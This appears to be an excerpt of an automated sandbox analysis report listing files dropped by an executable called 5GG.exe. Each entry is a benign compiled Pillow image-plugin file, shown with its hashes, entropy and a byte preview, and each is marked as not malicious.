Preview:	o.......m..e.........................@...sD...d.d.l.m.Z...d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...G.d.d...d.e.e.....Z.d.S.)......)...annotationsN)...IO..AnyStr..Generic..Literalc....................@...s^...e.Z.d.Z.d.Z.d.d.d...Z.d d.d...Z.e.j.f.d!d.d...Z.d"d.d...Z.d#d$d.d...Z.d%d.d...Z.d&d.d...Z.d.S.)'..ContainerIOzm. A file object that provides read access to a part of an existing. file (for example a TAR file).. ..file..IO[AnyStr]..offset..int..length..return..Nonec....................C...s(...\|.\|._.d.\|._.\|.\|._.\|.\|._.\|.j...\|.....d.S.).z.. Create file object... :param file: Existing file.. :param offset: Start of region, in bytes.. :param length: Size of region, in bytes.. r....N)...fh..posr....r......seek)...selfr....r....r......r.....R...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\PIL/ContainerIO.py..__init__....s..............z.ContainerIO.__init__..boolc....................C...s....d.S.).NFr......r....r....r....r......isatty-

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\pycache\CurImagePlugin.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	1409
Entropy (8bit):	5.357933126984752
Encrypted:	false
SSDEEP:	24:5BeHn8BLd2XlQ6qu9nt+wEojejzWD8c6OJTpS/vY/0+bWG357BilP+N5JjkuGSl3:5w8BsVgkt+SjaWDT6eTg/vY/0eJ1ZN3r
MD5:	4CD1C22F5816F237E9C921FBB97F221F
SHA1:	E959E0B8984E71C0825233399F95E095AC2CA254
SHA-256:	508BEA594F2C1D80823F9351151E95A74D35B28A0A92AE7CB9E0282071531985
SHA-512:	2287CED72426BB2BE17FFC1B9975AA20E9BE8871F08CEDAD72538F50EB3CE3972845F8DF43EB9B6F01FDBD84B34F60D7DECFAC4156E9256CB0057E4376E892AA
Malicious:	false
Preview:	o.......m..e.........................@...sp...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d...Z.G.d.d...d.e.j...Z.e...e.j.e.e.....e...e.j.d.....d.S.)......)...annotations.....)...BmpImagePlugin..Image)...i16le)...i32lec....................C...s....\|.d.d.....d.k.S.).N.....s..........)...prefixr....r.....U...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\PIL/CurImagePlugin.py.._accept....s......r....c....................@...s....e.Z.d.Z.d.Z.d.Z.d.d...Z.d.S.)...CurImageFileZ.CURz.Windows Cursorc....................C...s....\|.j.....}.\|.j...d...}.t.\|...s.d.}.t.\|.....d.}.t.t.\|.d.....D.].}.\|.j...d...}.\|.s+\|.}.q.\|.d...\|.d...k.r=\|.d...\|.d...k.r=\|.}.q.\|.sFd.}.t.\|.....\|...t.\|.d...\|.......\|.j.d...\|.j.d...d...f.\|._.\|.j.d...\.}.}.}.}.\|.d.\|.j...\|.\|.f.\|.j.d.<.d.S.).N.....z.not a CUR file.....r.........r....r....z.No cursors were found..........).r....r....)...fp..tell..readr......SyntaxError..range..i16..TypeErrorZ._bitmap..i32..size.._sizeZ.tile)...self..offset..s..msg..m..

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\pycache\DcxImagePlugin.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	1644
Entropy (8bit):	5.171607437685701
Encrypted:	false
SSDEEP:	24:hPiXrODWjtVPHqElUfuaUjuHn0z6LlTCRkPCjvizks63eDj0juPEje+WG2ImC6p0:hk6f/nUz6JTSkPyHs6u/3PoWVK/x
MD5:	1E88E048736B5B3229916A81E94D8C32
SHA1:	20A47F5D960A1769591551E1196F6E9CD09E9A5F
SHA-256:	A8572AE02B7FA3537D55B463384A2B8830046AA1C7BED1FF77930311E73509F1
SHA-512:	E13ACFFD6921AE5434DE1106C0A44D16766D3023C1061754459D3B6A5911969D6118F81A5538A4572352382F287483B07F3448784532CFAFA609AC571106B57F
Malicious:	false
Preview:	o.......m..e.........................@...sn...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.Z.d.d...Z.G.d.d...d.e...Z.e...e.j.e.e.....e...e.j.d.....d.S.)......)...annotations.....)...Image)...i32le)...PcxImageFilei.h.:c....................C...s....t.\|...d.k.o.t.\|...t.k.S.).N.....)...len..i32..MAGIC)...prefix..r.....U...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\PIL/DcxImagePlugin.py.._accept ...s......r....c....................@...s0...e.Z.d.Z.d.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...DcxImageFileZ.DCXz.Intel DCXFc....................C...s....\|.j...d...}.t.\|...s.d.}.t.\|.....g.\|._.t.d...D.].}.t.\|.j...d.....}.\|.s%..n.\|.j...\|.....q.\|.j.\|._.d.\|._.t.\|.j...\|._.\|.j.d.k.\|._.\|...d.....d.S.).Nr....z.not a DCX filei....r....r....)...fp..readr......SyntaxError.._offset..ranger......append.._fp..framer....Z.n_framesZ.is_animated..seek)...self..s..msg..i..offsetr....r....r......_open-...s..................................z.DcxImageFile._openc....................C...s<...\|.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\pycache\DdsImagePlugin.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	13562
Entropy (8bit):	6.0034362665279115
Encrypted:	false
SSDEEP:	192:j6sxtRpnAy248DyX7v3ekVMm72RFhvIeAUZ0nC78y9VDcOFYOMqn7VPZvv5/XJ+b:j6EATyrOkVMm7mw928Oiun7VPNWb
MD5:	F47CB570D612AC0BB01807D26E1459FB
SHA1:	87E9986E30E577D3FF5E06A7B75527B27F76533F
SHA-256:	AD30CB1FECB3943116543FEB9AD724390BDC06901D49B6A91F31D5F10043264F
SHA-512:	34B6397FFC275A52D5FA4DFB64FC3641A791682D084652C531E6117A62BEAABA1EFD7C1A5A0F294C558084D12D54A5A370571D582E55F352D31EFF03E2EDF985
Malicious:	false
Preview:	o.......m..e.B.......................@...s....d.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.e.j.e...Z.e.D.].Z.e.e.d.e.j...e.j ....qqe.D.].Z.e.e.d.e.j...e.j ....q.e.D.].Z.e.e.d.e.j...e.j ....q.e.D.].Z.e.e.d.e.j...e.j ....q.e.j!Z"e.j#Z$e.j#e.j%B.Z&e.j'Z(e.j'e.j%B.Z)e.j*Z+e.j,Z-e.j.e.j/B.e.j0B.e.j1B.Z2e.j3Z4e.j5Z6e.j7Z8e.j9Z:e.j/Z;e.j0Z<e.j=Z>e.j?e.j@B.ZAe.j?ZBe.jCe.jDB.ZEe.jCe.jFB.ZGe.jCe.jHB.ZIe.jCe.jJB.ZKe.jCe.jLB.ZMe.jCe.jNB.ZOe.jPZQe.jRZSe.jTZUe.jVZWe.jXZYe.jZZ[e.j\Z]e.j^Z_e.j`Zae.jbZce.jdZee.jfZge.jhZie.jjZkG.d.d...d.e.j...ZlG.d.d...d.e.jm..Znd.d ..Zod!d"..Zpe..qeljrelep....e..sd#en....e..teljreo....e..ueljrd$....d.S.)%a.....A Pillow loader for .dds files (S3TC-compressed aka DXTC).Jerome Leclanche <jerome@leclan.ch>..Documentation:.https://web.archive.org/web/20170802060935/http://oss.sgi.com/projects/ogl-sample/regist

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\pycache\EpsImagePlugin.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	9276
Entropy (8bit):	5.633416067987396
Encrypted:	false
SSDEEP:	192:ZKH9oaJClqfrIAzSukNj0bYhpMUcIuw5tu0Xl/6ND4O:ZKdlwlqjLrRbYhurIuwOQhW
MD5:	8D2041970DF61267CDFAF845F084F979
SHA1:	8009AA68901BA7B6FC78207C28BFA080DC8993C1
SHA-256:	BAF2C56A35AD605E84E7C649A7FDCC2C4178BC8AB58486651236F8EF9839A050
SHA-512:	2F3258F431AEECE4C6F9B90B0F08ADAD53962E1B502E583C147349DFA85DBB976FC4BCB735CD0F2CFE85FCB4A6765B9F14D58C3CF3819C6A3528E857D13DC436
Malicious:	false
Preview:	o.......m..e.@.......................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...e...d...Z.e...d...Z.d.a.d.a.d.d...Z.d.d.d...Z.G.d.d...d...Z.d.d...Z.G.d.d...d.e.j...Z.d.d.d...Z.e...e.j.e.e.....e...e.j.e.....e...e.j.d.d.g.....e...e.j.d.....d.S.)......)...annotationsN.....)...Image..ImageFile)...i32le)...deprecatez.^%%([^:]):[ \t](.)[ \t]$z.^%[%!\w]([^:])[ \t]$c....................C...s....t.d.u.rJt.j...d...rt.d.u.r$d.d.l.}.d.D.].}.\|...\|...d.u.r!\|.a...n.q.d.a.t.a.t.d.u.S.z.t.j.d.d.g.t.j.d.....d.a.W.t.d.u.S...t.yI......d.a.Y.t.d.u.S.w.t.d.u.S.).N..winr....).Z.gswin32cZ.gswin64c..gsFr....z.--version)...stdout)...gs_binary..sys..platform..startswith..gs_windows_binary..shutil..which..subprocess..check_call..DEVNULL..OSError).r......binary..r.....U...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\PIL/EpsImagePlugin.py..has_ghostscript-...s.............................................r....Fc.............

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\pycache\ExifTags.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	10231
Entropy (8bit):	5.770710138474861
Encrypted:	false
SSDEEP:	192:VtjnAy29y2JuXlh7SW69Dq8UUBUqD59j4G4wHN5HOiVDfTSy4:VtjAnq1hWh9DqYBUqDdztfTM
MD5:	B6679A045BC454B4D77F8A6282D1A91E
SHA1:	EF307F809D258B1704361EBF03AAAA385705D072
SHA-256:	84132DF5CDDD18C16F7716A4A56BBD73806018CDEEB12F574A34BF27B925CE25
SHA-512:	24D92E301C5F7DE45C02C98C9068F55CEC25AFC24AAAAEB6C023570AAD33E0988B3DEE1E3F64E818D71739589EFA13630105B94F0308C12405423F31762A576C
Malicious:	false
Preview:	o.......m..e.'.......................@...s....d.Z.d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e...Z...i.d.d...e.D.....d.d.d.d.d.d.d.....Z.G.d.d...d.e...Z...d.d...e.D...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.).zW.This module provides constants and clear-text names for various.well-known EXIF tags.......)...annotations)...IntEnumc....................@...sv...e.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z d.Z!d Z"d!Z#d"Z$d#Z%d$Z&d%Z'd&Z(d'Z)d(Zd)Z+dZ,d+Z-d,Z.d-Z/d.Z0d/Z1d0Z2d1Z3d2Z4d3Z5d4Z6d5Z7d6Z8d7Z9d8Z:d9Z;d:Z<d;Z=d<Z>d=Z?d>Z@d?ZAd@ZBdAZCdBZDdCZEdDZFdEZGdFZHdGZIdHZJdIZKdJZLdKZMdLZNdMZOdNZPdOZQdPZRdQZSdRZTdSZUdTZVdUZWdVZXdWZYdXZZdYZ[dZZ\d[Z]d\Z^d]Z_d^Z`d_Zad`ZbdaZcdbZddcZeddZfdeZgdfZhdgZidhZjdiZkdjZldkZmdlZndmZodnZpdoZqdpZrdqZsdrZtdsZudtZvduZwdvZxdwZydxZzdyZ{dzZ\|d{Z}d\|Z~d}Z.d~Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\pycache\FitsImagePlugin.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	1687
Entropy (8bit):	5.513906898492406
Encrypted:	false
SSDEEP:	48:oN5rWG29lfZCI0pbLqHjRx7sf/g46z//t:obW9lfAnLqDDsfY7z//t
MD5:	140D22799E1D09310F2920A17BA4A5C5
SHA1:	25EC615A1FF9BB9E64844DC884D56FCF62596FBF
SHA-256:	D0C62AD14016EB21DF6F8A2BA2D62A21D0F3E91ABCE0A853A3B3254E2E5BFBF2
SHA-512:	7F45B7F910524B0A5D280CEF55D7A82712DEEAE6CE61CB08CAA44D479F6A4EF1ADA8544032EF84164950F17408122CFDE3E00579BB1E0BB3A9999BAE111DC577
Malicious:	false
Preview:	o.......m..e.........................@...sd...d.d.l.m.Z...d.d.l.Z.d.d.l.m.Z.m.Z...d.d...Z.G.d.d...d.e.j...Z.e...e.j.e.e.....e...e.j.d.d.g.....d.S.)......)...annotationsN.....)...Image..ImageFilec....................C...s....\|.d.d.....d.k.S.).N.....s....SIMPLE..)...prefixr....r.....V...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\PIL/FitsImagePlugin.py.._accept....s......r....c....................@...s....e.Z.d.Z.d.Z.d.Z.d.d...Z.d.S.)...FitsImageFileZ.FITSc....................C...st...i.}...\|.j...d...}.\|.s.d.}.t.\|.....\|.d.d.........}.\|.d.k.r.n/\|.d.d.......d...d.......}.\|...d...r8\|.d.d.........}.\|.sHt.\|...rB\|.d.k.rHd.}.t.\|.....\|.\|.\|.<.q.t.\|.d.....}.\|.d.k.r]d.}.t.\|.....\|.d.k.rkd.t.\|.d.....f.\|._.n.t.\|.d.....t.\|.d.....f.\|._.t.\|.d.....}.\|.d.k.r.d.\|._.n.\|.d.k.r.d.\|._.n.\|.d.k.r.d.\|._.n.\|.d.v.r.d.\|._.t...\|.j.....d.....d...}.d.d.\|.j...\|.\|.j.d.d.f.f.g.\|._.d.S.).NT.P...z.Truncated FITS file.....s....END...../r.........=r.........Tz.Not a FITS files....NAXISz.No image datas....NA

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\pycache\FliImagePlugin.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	3669
Entropy (8bit):	5.314209225129299
Encrypted:	false
SSDEEP:	96:ml8GOtMNuLGYpzoDvFOUUh/T12FADHduy26VaA9V5/1:mO0AVg0+UA3079VV1
MD5:	07C1DDA5B7257848D02467718EC4765F
SHA1:	11A800BA1B7EBB011715D745342B362EE9BC556E
SHA-256:	DD968BADBB68DA0BB889608D260A19886E30FE157B262957462FA18F1F62E577
SHA-512:	D70D4D214014598F39C888C4377D859D07D187885A39878F0563028451D7D6F135DC9B502A6B6A332781BCB6BE0B71B8DCBA699E9921136C78AC17CFE4DC4049
Malicious:	false
Preview:	o.......m..eX........................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d...Z.G.d.d...d.e.j...Z.e...e.j.e.e.....e...e.j.d.d.g.....d.S.)......)...annotationsN.....)...Image..ImageFile..ImagePalette)...i16le)...i32le....o8c....................C...s(...t.\|...d.k.o.t.\|.d...d.v.o.t.\|.d...d.v.S.).N..........)......i.........).r.........)...len..i16)...prefix..r.....U...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\PIL/FliImagePlugin.py.._accept....s..............r....c....................@...s@...e.Z.d.Z.d.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...FliImageFileZ.FLIz.Autodesk FLI/FLC AnimationFc....................C...s....\|.j...d...}.t.\|...r.\|.d.d.....d.k.s.d.}.t.\|.....t.\|.d...\|._.\|.j.d.k.\|._.d.\|._.t.\|.d...t.\|.d...f.\|._.t.\|.d...}.t.\|.d...}.\|.d.k.rF\|.d...d...}.\|.\|.j.d.<.d.d...t.d...D...}.\|.j...d...}.d.\|._.t.\|.d...d.k.rr\|.j.t.\|.....\|._.\|.j...d...}.t.\|.d...d.k.r.t.\|.d...}.d.}.t.\|...D.]5}.\|.d.u.r.\|.j...\|.d...t.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\pycache\FontFile.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	2912
Entropy (8bit):	5.382888732131538
Encrypted:	false
SSDEEP:	48:/8HrO2aqE96co78RJAWuzDQ+MEB0xxbnrWTHC0hXJzi3UxvbAoYrKvAY6:/0rO/qETo7EKWuzDQf3zqbH5G3svbAog
MD5:	4EE7172E8F4290E6356C1922A075B3A3
SHA1:	100DA8E49D50A9F6DC13A3657C7887128EB48B2E
SHA-256:	D38FC8FE785BED2053C14CDE64CF9409E84A29C0818A155354200B73BCDC34E7
SHA-512:	0D0B7325576B892708BA1C9FBEA75A358443C0F531A690C500521AE12F96346CCE318507A17F50A405F24BE81EC9441C2AB900DF1B85B38F7C80475291D6E998
Malicious:	false
Preview:	o.......m..e.........................@...sP...d.d.l.m.Z...d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.Z.d.d.d...Z.G.d.d...d...Z.d.S.)......)...annotationsN)...BinaryIO.....)...Image.._binaryi .....fpr......values.7tuple[int, int, int, int, int, int, int, int, int, int]..return..Nonec....................C...s....\|.D.].}.\|.d.k.r.\|.d.7.}.\|...t...\|.......q.d.S.).z0Write network order (big-endian) 16-bit sequencer....i....N)...writer....Z.o16be).r....r......v..r.....O...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\PIL/FontFile.py..puti16....s..............r....c....................@...sF...e.Z.d.Z.U.d.Z.d.Z.d.e.d.<.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.S.)...FontFilez)Base class for raster font file handlers.Nz.Image.Image \| None..bitmapr....r....c....................C...s....i.\|._.d.g.d...\|._.d.S.).N.....)...info..glyph)...selfr....r....r......__init__)...s..........z.FontFile.__init__..ix..int.`tuple[tuple[int, int], tuple[int, int, int, int], tuple[int, int, int, int], I

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\pycache\FpxImagePlugin.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	4258
Entropy (8bit):	5.555307978119792
Encrypted:	false
SSDEEP:	96:Dg0/DkFSA32lW3+fMy6BIopc3lmQbL1MHaJYK0Udn:DqFSA32M3+fD6BIopcUC1kaJYK0Udn
MD5:	2159B7D7B9492E247E51198C974E89A3
SHA1:	D66C54DC8B9B068EB19A43179BCA5A7DFE0E90EA
SHA-256:	8ADCB3C9ED85BE786362C857C32925F43E1F5FA8B23BC30C6B9DE402841B20DC
SHA-512:	9D3512C1904AC2134D0D3D64AF7D92E5079DAE4504CD4690B0ADCF470CCE3CF7551610C04CC6AC37EBFB58203237736F6F0E2316B219A5F230E196AD5E4DABDD
Malicious:	false
Preview:	o.......m..eF........................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.d.d.d.d.d.d...Z.d.d...Z.G.d.d...d.e.j...Z.e...e.j.e.e.....e...e.j.d.....d.S.)......)...annotationsN.....)...Image..ImageFile)...i32le)...A..L).r....r....)...RGBAZ.LA)...RGBz.YCC;P).r....z.YCCA;P).r....r....).r....r....).).i....).i....).i....i....).i....i....i....).i....i....i....i....).i....i....i....).i....i....i....i....c....................C...s....\|.d.d.....t.j.k.S.).N.....)...olefile..MAGIC)...prefix..r.....U...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\PIL/FpxImagePlugin.py.._accept,...s......r....c........................sT...e.Z.d.Z.d.Z.d.Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.d...Z...f.d.d...Z...f.d.d...Z.....Z.S.)...FpxImageFileZ.FPXZ.FlashPixc....................C...sb...z.t...\|.j...\|._.W.n...t.y...}...z.d.}.t.\|...\|...d.}.~.w.w.\|.j.j.j.d.k.r*d.}.t.\|.....\|...d.....d.S.).Nz!not an FPX file; invalid OLE filez$56616700-C154-11CE-8553-00AA00A1F95Bz.not an FPX file; bad

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\pycache\FtexImagePlugin.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	3753
Entropy (8bit):	5.535462615946308
Encrypted:	false
SSDEEP:	96:TxQ4HUHtK0WYFWx5/X9lIjvDHSVSxX1HEba/m:Txyc/I3yVkFHEb+m
MD5:	B7DF9C17A559D65BA41497468BCCF605
SHA1:	BC520C06D4830F1F6DACFC2D5B71EB44D72EA695
SHA-256:	D769DB9C60E018318326807DDF9AEB601F228E3306228487013CE894D6E64025
SHA-512:	6F4459014842D4A535B8C56BBA4ECD41002B04D75382C6CCBC7FA721D72E3064F48050D1960F793D02F62326A3974FEC6660877E68447C7178F51572D837A1AE
Malicious:	false
Preview:	o.......m..e.........................@...s....d.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.Z.G.d.d...d.e...Z.G.d.d...d.e.j...Z.d.d...Z.e...e.j.e.e.....e...e.j.d.d.g.....d.S.).a.....A Pillow loader for .ftc and .ftu files (FTEX).Jerome Leclanche <jerome@leclan.ch>..The contents of this file are hereby released in the public domain (CC0).Full text of the CC0 license:. https://creativecommons.org/publicdomain/zero/1.0/..Independence War 2: Edge Of Chaos - Texture File Format - 16 October 2001..The textures used for 3D objects in Independence War 2: Edge Of Chaos are in a.packed custom format called FTEX. This file format uses file extensions FTC.and FTU..* FTC files are compressed textures (using standard texture compression)..* FTU files are not compressed..Texture File Format.The FTC and FTU texture files both use the same format. This.has the following structure:.{header}.{format_directory}.{data}.Where:.{header} = {. u32:magic,. u32:version,. u32:width,.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\pycache\GbrImagePlugin.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	5.420917234594489
Encrypted:	false
SSDEEP:	48:R6t9N/a0es0NYdCRFDq78VWGpZFpP4zD1fTXERbEG/SUJ:cbeygFuEXHsf7Ef/SUJ
MD5:	5E87EE4402CE9A231D774E280DC87380
SHA1:	412A406A7CE7A223A880BB19BC43F3879D4AA43E
SHA-256:	DB81D3F4BC83740EA3D19EAF85F36FDF09D8FB41528A96067C6C42ED4037FD73
SHA-512:	4B972607E7F5D65B35469B79C50896532D006838EC2CBD139F30B390FCF8DA68D47A61CDF22B3A5805D781D1DCD6A35BE547063FD32A7AE2B044F94B1B9133EF
Malicious:	false
Preview:	o.......m..e.........................@...sd...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d...Z.G.d.d...d.e.j...Z.e...e.j.e.e.....e...e.j.d.....d.S.)......)...annotations.....)...Image..ImageFile)...i32bec....................C...s(...t.\|...d.k.o.t.\|.d...d.k.o.t.\|.d...d.v.S.).N.....r................r.........)...len..i32)...prefix..r.....U...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\PIL/GbrImagePlugin.py.._accept ...s....(.r....c....................@...s$...e.Z.d.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.S.)...GbrImageFileZ.GBRz.GIMP brush filec....................C...s`...t.\|.j...d.....}.\|.d.k.r.d.}.t.\|.....t.\|.j...d.....}.\|.d.v.r'd.\|.....}.t.\|.....t.\|.j...d.....}.t.\|.j...d.....}.t.\|.j...d.....}.\|.d.k.sG\|.d.k.rMd.}.t.\|.....\|.d.v.rZd.\|.....}.t.\|.....\|.d.k.rc\|.d...}.n.\|.d...}.\|.j...d...}.\|.d.k.rwd.}.t.\|.....t.\|.j...d.....\|.j.d.<.\|.j...\|...d.d.....}.\|.d.k.r.d.\|._.n.d.\|._.\|.\|.f.\|._.\|.\|.j.d.<.t...\|.j.....\|.\|...\|...\|._.d.S.).Nr....r....z.not a GIMP brushr....z Unsupported GIMP brush ve

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\pycache\GdImageFile.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	2531
Entropy (8bit):	5.518147242320871
Encrypted:	false
SSDEEP:	48:CQ4kvW9PGiTzFgICt9PTisiSS5RlYy6J/BHlIE21LfGulKJZ:nXW9PGiTCIA9PTisid5Rt6rXq3lKJZ
MD5:	97E802C8AC48F8EC556B54CB22FA7435
SHA1:	5C736163F1E5A4D5585AF17C3BBAE82A64CB04EF
SHA-256:	10E33226F372536AD6D54D2517EE51B1C303669A83DBE7C90719AA4F4AA54C64
SHA-512:	3E8434C866AC352202F7753D596141208D28615E3A3304449DBEDD736B76B37E47E07BED2E07ECA4D7B9E50819E1461CF6997A3CB7A8C64A632014674BE29966
Malicious:	false
Preview:	o.......m..e.........................@...s\...d.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e.j...Z.d.d.d...Z.d.S.).a....... note::. This format cannot be automatically recognized, so the. class is not registered for use with :py:func:`PIL.Image.open()`. To open a. gd file, use the :py:func:`PIL.GdImageFile.open()` function instead..... warning::. THE GD FORMAT IS NOT DESIGNED FOR DATA INTERCHANGE. This. implementation is provided for convenience and demonstrational. purposes only.......)...annotations.....)...ImageFile..ImagePalette..UnidentifiedImageError)...i16be)...i32bec....................@...s ...e.Z.d.Z.d.Z.d.Z.d.Z.d.d...Z.d.S.)...GdImageFilea%.... Image plugin for the GD uncompressed format. Note that this format. is not supported by the standard :py:func:`PIL.Image.open()` function. To use. this plugin, you have to import the :py:mod:`PIL.GdImageFile` module and. use the :py:func:`PIL.GdImageFile.open()` function..

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\pycache\GifImagePlugin.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	20179
Entropy (8bit):	5.538525206418675
Encrypted:	false
SSDEEP:	384:beLZIxTDNVCF9QZkgxtYBwy8zbLERCTWnFnLrVVse:beLZOTxfkYWLyfEFFnLrrse
MD5:	105E98CA1D2DBCABFF9480A275E38048
SHA1:	DE52C50E6E74DD3C97EED11650F3E083BF64B0C0
SHA-256:	CBCF002FE3C39D5388FE33D2547B677912C5793AEA18D596FE43B42CB042568D
SHA-512:	CCF22ABB3CC8AEF59D93602224511BF761BEB59B981B66C22F05D9ABAC87BFE9E49F1E1E3C95D2F1231146B4D7C7F2E19EADCE4F6579978A9570E24FCA3E0341
Malicious:	false
Preview:	o.......m..e.........................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e...Z.e.j.Z.d.d...Z.G.d.d...d.e.j...Z.d.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z d.d...Z!d<d.d ..Z"d!d"..Z#d#d$..Z$d%d&..Z%d.Z&d'd(..Z'd)d..Z(d+d,..Z)d-d...Zd/d0..Z+d1d2..Z,d3d4..Z-d=d5d6..Z.d>d8d9..Z/e..0e.j1e.e.....e..2e.j1e"....e..3e.j1e!....e..4e.j1d:....e..5e.j1d;....d.S.)?.....)...annotationsN)...IntEnum.....)...Image..ImageChops..ImageFile..ImageMath..ImageOps..ImagePalette..ImageSequence)...i16le)...o8)...o16lec....................@...s....e.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.S.)...LoadingStrategyz... versionadded:: 9.1.0r....r.........N)...__name__..__module__..__qualname__..__doc__..RGB_AFTER_FIRST. RGB_AFTER_DIFFERENT_PALETTE_ONLY..RGB_ALWAYS..r....r.....U...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\PIL/GifImagePlugin.pyr....0...s..............r....c....................C..

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\PIL\pycache\GimpGradientFile.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	3346
Entropy (8bit):	5.217727919923144
Encrypted:	false
SSDEEP:	48:41RthMCtqHTXb0b89D1jnSrCvOroP3ezttbK4lo9mQvSo0gb7FnY24A:Ed4zXb0bqxUCG0vqtbK4SFXb7FY2X
MD5:	F165EEC2D320872FCE2DB6C2A1181B63
